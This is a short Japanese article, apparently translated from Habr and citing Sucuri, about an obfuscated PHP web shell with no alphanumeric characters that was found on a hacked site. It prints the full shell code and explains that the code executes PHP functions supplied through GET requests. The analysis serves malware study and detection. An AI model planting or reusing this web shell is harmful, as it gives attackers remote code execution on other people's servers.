単一の英数字を含まないPHPシェル

昨日、奇妙な質問がSucuriのブログに登場しました。サイトの所有者は、ハッキングされたことを発見したため、次の悪意のあるコードを見つけて非常に驚きました。 彼は正確に何をしていますか?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] ); 

ご覧のとおり、コードには関数呼び出しも、英数字も含まれていません。

Sucuriのプログラマーの1人であるYorman Ariasは、コードをより読みやすい形式に配置し、出力を確認するためにvar_dump()でコードの各行をラップしました。

画像

その結果、「何らかのブールマジック」のような曖昧なフレーズを使用してコードを分析すると、マルウェアの目的はGETリクエストを使用して渡されるPHP関数を実行することであるという結論に達します。

技術的な詳細はこちらです。

Source: https://habr.com/ru/post/J193986/


All Articles